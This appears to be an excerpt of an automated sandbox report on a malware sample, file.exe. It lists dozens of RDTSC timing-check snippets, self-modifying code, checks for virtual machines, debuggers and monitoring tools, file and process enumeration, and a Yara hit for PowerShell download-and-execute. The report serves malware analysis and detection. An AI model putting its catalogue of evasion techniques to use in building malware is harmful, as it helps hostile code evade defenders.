Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB7B0 second address: 5BB7B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBF22 second address: 5BBF32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BBF32 second address: 5BBF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC6A2 second address: 5BC6AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC6AC second address: 5BC6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC6B0 second address: 5BC6BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC6BF second address: 5BC6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC6C3 second address: 5BC6C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BC6C7 second address: 5BC6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B4C774D8Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1EBC second address: 5C1ECC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5B4D24B716h 0x00000008 ja 00007F5B4D24B716h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C35D6 second address: 5C35FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D97h 0x00000007 push esi 0x00000008 jmp 00007F5B4C774D8Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C77A8 second address: 5C77B7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5B4D24B718h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7347 second address: 5C734B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C74F3 second address: 5C74F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9F41 second address: 5D9F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9F47 second address: 5D9F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DBB61 second address: 5DBB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E81A9 second address: 5E81BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B4D24B71Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E802C second address: 5E8030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8030 second address: 5E8036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBFC4 second address: 4FBFF3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5B4C774D8Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F5B4C774D94h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBFF3 second address: 4FBFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBFF9 second address: 4FC00D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F5B4C774D86h 0x0000000e ja 00007F5B4C774D86h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F122D second address: 5F1245 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 ja 00007F5B4D24B716h 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F5B4D24B71Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1245 second address: 5F124B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F13A5 second address: 5F13AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5B4D24B716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F13AF second address: 5F13B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F13B3 second address: 5F13C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5B4D24B716h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F180E second address: 5F181E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5B4C774D86h 0x00000008 jo 00007F5B4C774D86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F19B8 second address: 5F19CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007F5B4D24B716h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1B47 second address: 5F1B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F5B4C774D99h 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1C97 second address: 5F1CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4D24B71Eh 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F5B4D24B716h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1CB4 second address: 5F1CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F567B second address: 5F5695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4D24B726h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5695 second address: 5F56A1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5B4C774D86h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F51E7 second address: 5F51EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6043F2 second address: 6043F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6043F7 second address: 604432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4D24B727h 0x00000009 jg 00007F5B4D24B716h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5B4D24B727h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE7B3 second address: 5FE7BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61128E second address: 611294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611294 second address: 611298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620CF5 second address: 620CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620E50 second address: 620E55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620E55 second address: 620E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6212AC second address: 6212BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F5B4C774D86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6212BC second address: 6212C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621595 second address: 6215C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4C774D8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5B4C774D8Eh 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 js 00007F5B4C774D86h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6219C2 second address: 6219C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625F04 second address: 625F09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625F79 second address: 625F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007F5B4D24B716h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6264E9 second address: 6264EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6264EE second address: 6264FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F5B4D24B716h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6264FF second address: 626503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626503 second address: 62650C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62650C second address: 626571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B4C774D92h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5B4C774D88h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jmp 00007F5B4C774D8Ch 0x0000002b push dword ptr [ebp+122D3270h] 0x00000031 mov edx, ecx 0x00000033 push 8306E6A5h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F5B4C774D95h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628F7A second address: 628F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628F80 second address: 628FA2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5B4C774D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5B4C774D96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628FA2 second address: 628FC8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F5B4D24B729h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628FC8 second address: 628FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628FD0 second address: 628FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628FDB second address: 628FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B019 second address: 62B01D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0276 second address: 4FF02B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 5998h 0x00000007 mov ah, dl 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e call 00007F5B4C774D99h 0x00000013 push ecx 0x00000014 pop edi 0x00000015 pop ecx 0x00000016 mov bl, DAh 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5B4C774D8Bh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF0377 second address: 4FF039C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B721h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5B4D24B71Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF039C second address: 4FF03A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03A2 second address: 4FF03A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03A6 second address: 4FF03B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop ebx 0x0000000f mov cl, 95h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF03B8 second address: 4FF0402 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B4D24B726h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, cx 0x00000010 pushfd 0x00000011 jmp 00007F5B4D24B726h 0x00000016 xor si, 6088h 0x0000001b jmp 00007F5B4D24B71Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3918E1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 38F5E2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 55150B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5CE55C instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001438B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001438B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00144910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00144910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0013DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0013E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0013ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00144570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00144570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0013DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0013BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013F68A FindFirstFileA,	0_2_0013F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0013F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0013F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00143EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00143EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001316D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001316D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00131160 GetSystemInfo,ExitProcess,

0_2_00131160

Source: file.exe, file.exe, 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware`
Source: file.exe, 00000000.00000002.2066181737.0000000001089000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2066181737.000000000100E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2066181737.000000000107A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2066181737.0000000001053000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13593
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13596
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13647
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13607
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13615

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001345C0 VirtualProtect ?,00000004,00000100,00000000

0_2_001345C0

Source: C:\Users\user\Desktop\file.exe

0_2_00149860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00149750 mov eax, dword ptr fs:[00000030h]

0_2_00149750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00147850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00147850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1520, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00149600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00149600

Source: file.exe, file.exe, 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: t9Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00147B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

